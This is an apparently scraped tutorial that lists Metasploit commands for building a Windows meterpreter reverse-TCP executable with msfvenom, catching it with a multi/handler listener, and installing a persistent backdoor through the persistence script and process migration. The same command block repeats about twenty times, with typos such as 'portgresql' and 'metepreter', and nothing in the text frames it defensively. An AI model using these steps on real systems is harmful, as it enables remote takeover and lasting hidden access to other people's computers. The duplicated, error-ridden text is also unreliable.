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    The document outlines steps to create a persistent meterpreter backdoor on a Windows system after exploiting it from Kali Linux. It involves using msfvenom to generate an executable, starting Apache and PostgreSQL services, using msfconsole to set up a multi/handler, running persistence commands on the meterpreter session, and migrating to another process ID.

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    Make persistent backdoor after exploit in kali linux

    root@kali~#: msfvenom –p windows/meterpreter/reverse_tcp lhost=<you ip> lport <your port> -f exe

    -a x86 –o <filename>

    root@kali~#: service apache2 start

    root@kali~#: service portgresql start

    root@kali~#: msfconsole

    root@kali~#: use multi/handler

    root@kali~#: set payload windows/metepreter/reverse_tcp

    root@kali~#: set lhost <your ip>

    root@kali~#: show options

    root@kali~#: run

    meterpreter > run persistence –h

    meterpreter > run persistence –U

    target automatic reboot the system

    msf exploit(handler) > exploit

    metepreter > sysinfo

    metepreter > ps

    meterpreter > migrate <pid>

    Make persistent backdoor after exploit in kali linux


    root@kali~#: msfvenom –p windows/meterpreter/reverse_tcp lhost=<you ip> lport <your port> -f exe

    -a x86 –o <filename>

    root@kali~#: service apache2 start

    root@kali~#: service portgresql start

    root@kali~#: msfconsole

    root@kali~#: use multi/handler

    root@kali~#: set payload windows/metepreter/reverse_tcp


    root@kali~#: set lhost <your ip>

    root@kali~#: show options

    root@kali~#: run

    meterpreter > run persistence –h

    meterpreter > run persistence –U

    target automatic reboot the system

    msf exploit(handler) > exploit

    metepreter > sysinfo

    metepreter > ps

    meterpreter > migrate <pid>


    Make persistent backdoor after exploit in kali linux
    root@kali~#: msfvenom –p windows/meterpreter/reverse_tcp lhost=<you ip> lport <your port> -f exe

    -a x86 –o <filename>

    root@kali~#: service apache2 start

    root@kali~#: service portgresql start

    root@kali~#: msfconsole

    root@kali~#: use multi/handler

    root@kali~#: set payload windows/metepreter/reverse_tcp

    root@kali~#: set lhost <your ip>

    root@kali~#: show options

    root@kali~#: run

    meterpreter > run persistence –h

    meterpreter > run persistence –U

    target automatic reboot the system

    msf exploit(handler) > exploit

    metepreter > sysinfo

    metepreter > ps

    meterpreter > migrate <pid>


    Make persistent backdoor after exploit in kali linux
    root@kali~#: msfvenom –p windows/meterpreter/reverse_tcp lhost=<you ip> lport <your port> -f exe

    -a x86 –o <filename>

    root@kali~#: service apache2 start

    root@kali~#: service portgresql start

    root@kali~#: msfconsole

    root@kali~#: use multi/handler

    root@kali~#: set payload windows/metepreter/reverse_tcp

    root@kali~#: set lhost <your ip>

    root@kali~#: show options

    root@kali~#: run

    meterpreter > run persistence –h

    meterpreter > run persistence –U

    target automatic reboot the system

    msf exploit(handler) > exploit

    metepreter > sysinfo

    metepreter > ps

    meterpreter > migrate <pid>


    Make persistent backdoor after exploit in kali linux
    root@kali~#: msfvenom –p windows/meterpreter/reverse_tcp lhost=<you ip> lport <your port> -f exe

    -a x86 –o <filename>

    root@kali~#: service apache2 start

    root@kali~#: service portgresql start

    root@kali~#: msfconsole

    root@kali~#: use multi/handler

    root@kali~#: set payload windows/metepreter/reverse_tcp

    root@kali~#: set lhost <your ip>

    root@kali~#: show options

    root@kali~#: run

    meterpreter > run persistence –h

    meterpreter > run persistence –U

    target automatic reboot the system

    msf exploit(handler) > exploit

    metepreter > sysinfo

    metepreter > ps

    meterpreter > migrate <pid>


    Make persistent backdoor after exploit in kali linux
    root@kali~#: msfvenom –p windows/meterpreter/reverse_tcp lhost=<you ip> lport <your port> -f exe

    -a x86 –o <filename>

    root@kali~#: service apache2 start

    root@kali~#: service portgresql start

    root@kali~#: msfconsole

    root@kali~#: use multi/handler

    root@kali~#: set payload windows/metepreter/reverse_tcp

    root@kali~#: set lhost <your ip>

    root@kali~#: show options

    root@kali~#: run

    meterpreter > run persistence –h

    meterpreter > run persistence –U

    target automatic reboot the system

    msf exploit(handler) > exploit

    metepreter > sysinfo

    metepreter > ps

    meterpreter > migrate <pid>

    Make persistent backdoor after exploit in kali linux


    root@kali~#: msfvenom –p windows/meterpreter/reverse_tcp lhost=<you ip> lport <your port> -f exe

    -a x86 –o <filename>

    root@kali~#: service apache2 start

    root@kali~#: service portgresql start

    root@kali~#: msfconsole

    root@kali~#: use multi/handler

    root@kali~#: set payload windows/metepreter/reverse_tcp

    root@kali~#: set lhost <your ip>

    root@kali~#: show options


    root@kali~#: run

    meterpreter > run persistence –h

    meterpreter > run persistence –U

    target automatic reboot the system

    msf exploit(handler) > exploit

    metepreter > sysinfo

    metepreter > ps

    meterpreter > migrate <pid>


    Make persistent backdoor after exploit in kali linux
    root@kali~#: msfvenom –p windows/meterpreter/reverse_tcp lhost=<you ip> lport <your port> -f exe

    -a x86 –o <filename>

    root@kali~#: service apache2 start

    root@kali~#: service portgresql start

    root@kali~#: msfconsole

    root@kali~#: use multi/handler

    root@kali~#: set payload windows/metepreter/reverse_tcp

    root@kali~#: set lhost <your ip>

    root@kali~#: show options

    root@kali~#: run

    meterpreter > run persistence –h

    meterpreter > run persistence –U

    target automatic reboot the system

    msf exploit(handler) > exploit

    metepreter > sysinfo

    metepreter > ps

    meterpreter > migrate <pid>


    Make persistent backdoor after exploit in kali linux
    root@kali~#: msfvenom –p windows/meterpreter/reverse_tcp lhost=<you ip> lport <your port> -f exe

    -a x86 –o <filename>

    root@kali~#: service apache2 start

    root@kali~#: service portgresql start

    root@kali~#: msfconsole

    root@kali~#: use multi/handler

    root@kali~#: set payload windows/metepreter/reverse_tcp

    root@kali~#: set lhost <your ip>

    root@kali~#: show options

    root@kali~#: run

    meterpreter > run persistence –h

    meterpreter > run persistence –U

    target automatic reboot the system

    msf exploit(handler) > exploit

    metepreter > sysinfo

    metepreter > ps

    meterpreter > migrate <pid>


    Make persistent backdoor after exploit in kali linux
    root@kali~#: msfvenom –p windows/meterpreter/reverse_tcp lhost=<you ip> lport <your port> -f exe

    -a x86 –o <filename>

    root@kali~#: service apache2 start

    root@kali~#: service portgresql start

    root@kali~#: msfconsole

    root@kali~#: use multi/handler

    root@kali~#: set payload windows/metepreter/reverse_tcp

    root@kali~#: set lhost <your ip>

    root@kali~#: show options

    root@kali~#: run

    meterpreter > run persistence –h

    meterpreter > run persistence –U

    target automatic reboot the system

    msf exploit(handler) > exploit

    metepreter > sysinfo

    metepreter > ps

    meterpreter > migrate <pid>


    Make persistent backdoor after exploit in kali linux
    root@kali~#: msfvenom –p windows/meterpreter/reverse_tcp lhost=<you ip> lport <your port> -f exe

    -a x86 –o <filename>

    root@kali~#: service apache2 start

    root@kali~#: service portgresql start

    root@kali~#: msfconsole

    root@kali~#: use multi/handler

    root@kali~#: set payload windows/metepreter/reverse_tcp

    root@kali~#: set lhost <your ip>

    root@kali~#: show options

    root@kali~#: run

    meterpreter > run persistence –h

    meterpreter > run persistence –U

    target automatic reboot the system

    msf exploit(handler) > exploit

    metepreter > sysinfo

    metepreter > ps

    meterpreter > migrate <pid>


    Make persistent backdoor after exploit in kali linux
    root@kali~#: msfvenom –p windows/meterpreter/reverse_tcp lhost=<you ip> lport <your port> -f exe

    -a x86 –o <filename>

    root@kali~#: service apache2 start

    root@kali~#: service portgresql start

    root@kali~#: msfconsole

    root@kali~#: use multi/handler

    root@kali~#: set payload windows/metepreter/reverse_tcp

    root@kali~#: set lhost <your ip>

    root@kali~#: show options

    root@kali~#: run

    meterpreter > run persistence –h

    meterpreter > run persistence –U

    target automatic reboot the system

    msf exploit(handler) > exploit

    metepreter > sysinfo

    metepreter > ps

    meterpreter > migrate <pid>


    Make persistent backdoor after exploit in kali linux
    root@kali~#: msfvenom –p windows/meterpreter/reverse_tcp lhost=<you ip> lport <your port> -f exe

    -a x86 –o <filename>

    root@kali~#: service apache2 start

    root@kali~#: service portgresql start

    root@kali~#: msfconsole

    root@kali~#: use multi/handler

    root@kali~#: set payload windows/metepreter/reverse_tcp

    root@kali~#: set lhost <your ip>

    root@kali~#: show options

    root@kali~#: run

    meterpreter > run persistence –h

    meterpreter > run persistence –U

    target automatic reboot the system

    msf exploit(handler) > exploit

    metepreter > sysinfo

    metepreter > ps

    meterpreter > migrate <pid>

    Make persistent backdoor after exploit in kali linux


    root@kali~#: msfvenom –p windows/meterpreter/reverse_tcp lhost=<you ip> lport <your port> -f exe

    -a x86 –o <filename>

    root@kali~#: service apache2 start

    root@kali~#: service portgresql start

    root@kali~#: msfconsole

    root@kali~#: use multi/handler

    root@kali~#: set payload windows/metepreter/reverse_tcp

    root@kali~#: set lhost <your ip>

    root@kali~#: show options


    root@kali~#: run

    meterpreter > run persistence –h

    meterpreter > run persistence –U

    target automatic reboot the system

    msf exploit(handler) > exploit

    metepreter > sysinfo

    metepreter > ps

    meterpreter > migrate <pid>

    Make persistent backdoor after exploit in kali linux


    root@kali~#: msfvenom –p windows/meterpreter/reverse_tcp lhost=<you ip> lport <your port> -f exe

    -a x86 –o <filename>

    root@kali~#: service apache2 start

    root@kali~#: service portgresql start

    root@kali~#: msfconsole

    root@kali~#: use multi/handler

    root@kali~#: set payload windows/metepreter/reverse_tcp

    root@kali~#: set lhost <your ip>

    root@kali~#: show options

    root@kali~#: run

    meterpreter > run persistence –h

    meterpreter > run persistence –U

    target automatic reboot the system

    msf exploit(handler) > exploit

    metepreter > sysinfo

    metepreter > ps

    meterpreter > migrate <pid>

    Make persistent backdoor after exploit in kali linux


    root@kali~#: msfvenom –p windows/meterpreter/reverse_tcp lhost=<you ip> lport <your port> -f exe
    -a x86 –o <filename>

    root@kali~#: service apache2 start

    root@kali~#: service portgresql start

    root@kali~#: msfconsole

    root@kali~#: use multi/handler

    root@kali~#: set payload windows/metepreter/reverse_tcp

    root@kali~#: set lhost <your ip>

    root@kali~#: show options

    root@kali~#: run

    meterpreter > run persistence –h

    meterpreter > run persistence –U

    target automatic reboot the system

    msf exploit(handler) > exploit

    metepreter > sysinfo

    metepreter > ps

    meterpreter > migrate <pid>

    Make persistent backdoor after exploit in kali linux


    root@kali~#: msfvenom –p windows/meterpreter/reverse_tcp lhost=<you ip> lport <your port> -f exe

    -a x86 –o <filename>

    root@kali~#: service apache2 start

    root@kali~#: service portgresql start

    root@kali~#: msfconsole

    root@kali~#: use multi/handler

    root@kali~#: set payload windows/metepreter/reverse_tcp

    root@kali~#: set lhost <your ip>

    root@kali~#: show options

    root@kali~#: run

    meterpreter > run persistence –h


    meterpreter > run persistence –U

    target automatic reboot the system

    msf exploit(handler) > exploit

    metepreter > sysinfo

    metepreter > ps

    meterpreter > migrate <pid>

    Make persistent backdoor after exploit in kali linux


    root@kali~#: msfvenom –p windows/meterpreter/reverse_tcp lhost=<you ip> lport <your port> -f exe

    -a x86 –o <filename>

    root@kali~#: service apache2 start

    root@kali~#: service portgresql start

    root@kali~#: msfconsole

    root@kali~#: use multi/handler

    root@kali~#: set payload windows/metepreter/reverse_tcp

    root@kali~#: set lhost <your ip>

    root@kali~#: show options

    root@kali~#: run

    meterpreter > run persistence –h

    meterpreter > run persistence –U

    target automatic reboot the system

    msf exploit(handler) > exploit

    metepreter > sysinfo

    metepreter > ps

    meterpreter > migrate <pid>

    Make persistent backdoor after exploit in kali linux


    root@kali~#: msfvenom –p windows/meterpreter/reverse_tcp lhost=<you ip> lport <your port> -f exe

    -a x86 –o <filename>

    root@kali~#: service apache2 start


    root@kali~#: service portgresql start

    root@kali~#: msfconsole

    root@kali~#: use multi/handler

    root@kali~#: set payload windows/metepreter/reverse_tcp

    root@kali~#: set lhost <your ip>

    root@kali~#: show options

    root@kali~#: run

    meterpreter > run persistence –h

    meterpreter > run persistence –U

    target automatic reboot the system

    msf exploit(handler) > exploit

    metepreter > sysinfo

    metepreter > ps

    meterpreter > migrate <pid>

    Make persistent backdoor after exploit in kali linux


    root@kali~#: msfvenom –p windows/meterpreter/reverse_tcp lhost=<you ip> lport <your port> -f exe

    -a x86 –o <filename>

    root@kali~#: service apache2 start

    root@kali~#: service portgresql start

    root@kali~#: msfconsole

    root@kali~#: use multi/handler

    root@kali~#: set payload windows/metepreter/reverse_tcp

    root@kali~#: set lhost <your ip>

    root@kali~#: show options

    root@kali~#: run

    meterpreter > run persistence –h

    meterpreter > run persistence –U

    target automatic reboot the system


    msf exploit(handler) > exploit

    metepreter > sysinfo

    metepreter > ps

    meterpreter > migrate <pid>

    Make persistent backdoor after exploit in kali linux


    root@kali~#: msfvenom –p windows/meterpreter/reverse_tcp lhost=<you ip> lport <your port> -f exe

    -a x86 –o <filename>

    root@kali~#: service apache2 start

    root@kali~#: service portgresql start

    root@kali~#: msfconsole

    root@kali~#: use multi/handler

    root@kali~#: set payload windows/metepreter/reverse_tcp

    root@kali~#: set lhost <your ip>

    root@kali~#: show options

    root@kali~#: run

    meterpreter > run persistence –h

    meterpreter > run persistence –U

    target automatic reboot the system

    msf exploit(handler) > exploit

    metepreter > sysinfo

    metepreter > ps

    meterpreter > migrate <pid>

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